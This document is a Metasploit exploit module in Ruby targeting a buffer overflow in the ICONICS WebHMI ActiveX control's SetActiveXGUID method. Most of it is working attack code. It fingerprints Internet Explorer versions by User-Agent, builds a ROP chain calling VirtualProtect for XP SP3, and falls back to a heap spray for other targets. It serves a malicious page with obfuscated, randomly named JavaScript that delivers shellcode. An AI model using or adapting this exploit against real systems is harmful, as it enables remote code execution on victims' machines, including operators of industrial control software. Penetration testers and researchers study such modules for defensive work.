ICONICS WebHMI ActiveX Buffer Overflow

##
# $Id: iconics_webhmi_setactivexguid.rb 12576 2011-05-10 19:16:07Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info={})
  super(update_info(info,
   'Name'           => "ICONICS WebHMI ActiveX Buffer Overflow",
   'Description'    => %q{
     This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.
    By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll
    fails to do any proper bounds checking before this input is copied onto the stack,
    which causes a buffer overflow, and results arbitrary code execution under the context
    of the user.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 12576 $",
   'Author'         =>
    [
     'Scoot Bell <scott.bell[at]security-assessment.com>',
     'Blair Strang <blair.strang[at]security-assessment.com>',
     'sinn3r',  #Metasploit port
    ],
   'References'     =>
    [
     ['OSVDB', '72135'],
     ['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],
     ['URL', 'http://www.exploit-db.com/exploits/17240/'],
    ],
   'Payload'        =>
    {
     'BadChars'         => "\x00",
     'StackAdjustment'  => -3500,
    },
   'DefaultOptions'  =>
    {
     'ExitFunction'         => "seh",
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'Automatic', {}
     ],
     [
      'IE 6/7/8 on Windows XP SP3',
      {
       'Offset'       => 510,         #Offset to where ROP gadgets begin
       'Ret'          => 0x770167b0,  #PUSH ESP; POP EBP; RETN 8
       'Max'          => 4500,        #Max buffer size used
      },
     ],
     [
      'IE 7 on Windows Vista',
      {
       'Ret'          => 0x0c0c0c0c,  #Target spray
       'blockSize'    => "0x1000",
       'spraySize'    => "0x8500",
       'Max'          => 4500,
      },
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "May 5 2011",
   'DefaultTarget'  => 0))
 end

 def junk
  return rand_text(4).unpack("L")[0].to_i
 end

 def repeat(addr, rep)
  arr = []
  rep.times { arr << addr }
  return arr
 end

 def on_request_uri(cli, request)

  my_target = ''
  agent = request.headers['User-Agent']

  if agent =~ /NT 5\.1/ and agent =~ /MSIE (6|7)\.\d/
   my_target = targets[2]
  elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.\d/
   my_target = targets[2]
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
   my_target = targets[1]
  else
   send_not_found(cli)
   print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent")
   return
  end

  js = ''
  sploit = ''

  if my_target['spraySize'] == nil

   #ROP tekniq is only used against IE 8 + XP SP3 (ENG), since the gadgets are specific
   #to the service pack (non or fully patched)

   rop_gadgets = [
    my_target.ret,
    junk,
    0x7e45c67f,              #XCHG EAX,EBP; RETN (USER32.dll)
    repeat(junk, 2),
    0x7e440639,              #ADD ESP,10; POP EDI; POP ESI; POP EBX; RETN USER32.dll
    0x7c801ad4,              #Kernel32.VirtualProtect
    junk,                    #Initial ESP + 8 p1 = retaddr
    junk,                    #p2 - lpaddr
    junk,                    #p3 - size
    junk,                    #p4 - perms
    junk,                    #p5 - oldperms
    junk,
    #Return address
    0x7e4462ed,              #XCHG EAX,ECX; RETN (USER32.dll)
    0x7c902b50,              #MOV EDX, ECX; RETN (ntdll.dll)
    repeat(0x77aa2d96, 20),  #INC ECX * 21 (CRYPT32.dll)
    0x7c901726,              #MOV EAX, EDX; RETN (ntdll.dll)
    repeat(0x5b86a17b, 2),   #ADD EAX,7B; RETN * 2 (NETAPI32.dll)
    repeat(0x77c34fbd, 2),   #ADD EAX,5C; RETN * 2 (msvcrt.dll)
    0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
    #Shellcode pointer
    repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
    0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
    #Size  (0x400 bytes)
    repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
    0x7e721a99,              #POP EAX; RETN (SXS.dll)
    0x3BFFF9CB,              #Value to XOR
    0x7e7560b5,              #XOR EAX,3bfffdcb (SXS.dll)
    0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (RPCRT4.dll)
    #NewProtect
    repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
    0x7E456160,              #XOR EAX,EAX; RETN (USER32.dll)
    0x7E4193BA,              #ADD AL,3B (USER32.dll)
    repeat(0x7E442074, 5),   #INC EAX; RETN (USER32.dll)
    0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
    #OldProtect
    repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
    0x7e721a99,              #POP EAX (SXS.dll)
    0x10010570,              #EAX (Wriable memory)
    0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
    #Call VirtualProtect
    repeat(0x7E421AAF, 20),  #DEC ECX; RETN (USER32.dll)
    0x7E4462ED,              #XCHG EAX,ECX; RETN (USER32.dll)
    0x7E45F257,              #XCHG EAX,ESP; RETN (USER32.dll)
    repeat(junk, 2),         #Align shellcode
    ].flatten.pack('V*')

    sploit << Rex::Text.to_unescape(rand_text_alpha(my_target['Offset']), Rex::Arch.endian(target.arch))
    sploit << Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))
    sploit << Rex::Text.to_unescape(make_nops(80), Rex::Arch.endian(target.arch))
    sploit << Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    sploit << rand_text_alpha(my_target['Max']-sploit.length)

  else

   #If we don't have to ROP, then we just spray against the rest of the targets

   shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
   target_ret = [my_target.ret].pack('V')
   nops = Rex::Text.to_unescape(target_ret*4, Rex::Arch.endian(target.arch))
   sploit << Rex::Text.to_unescape(target_ret * (my_target['Max'] / 4), Rex::Arch.endian(target.arch))

   js_func_name        = rand_text_alpha(rand(6) + 3)
   js_var_blocks_name  = rand_text_alpha(rand(6) + 3)
   js_var_shell_name   = rand_text_alpha(rand(6) + 3)
   js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
   js_var_index_name   = rand_text_alpha(rand(6) + 3)

   js = <<-EOS
   <script>
   function #{js_func_name}() {
    var #{js_var_blocks_name} = new Array();
    var #{js_var_shell_name} = unescape("#{shellcode}");
    var #{js_var_nopsled_name} = unescape("#{nops}");
    while (#{js_var_nopsled_name}.length < #{my_target['blockSize']}) { #{js_var_nopsled_name} += #{js_var_nopsled_name} };
    for (var #{js_var_index_name}=0; #{js_var_index_name} < #{my_target['spraySize']}; #{js_var_index_name}++) {
     #{js_var_blocks_name}[#{js_var_index_name}] = [ "" + #{js_var_nopsled_name} + #{js_var_shell_name} ].join("");
    }
   }
   #{js_func_name}();
   </script>
   EOS

  end

  obj_id      = rand_text_alpha(rand(6) + 3)
  sploit_name = rand_text_alpha(rand(6) + 3)

  html = <<-EOS
  <html>
  <head>#{js}</head>
  <body>
  <object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="#{obj_id}"></object>
  <script>
  var #{sploit_name} = unescape("#{sploit}");
  #{obj_id}.SetActiveXGUID(#{sploit_name});
  </script>
  </body>
  </html>
  EOS

  html = html.gsub(/^\t\t/, "")

  print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
  send_response(cli, html, {'Content-Type'=>'text/html'})

 end
end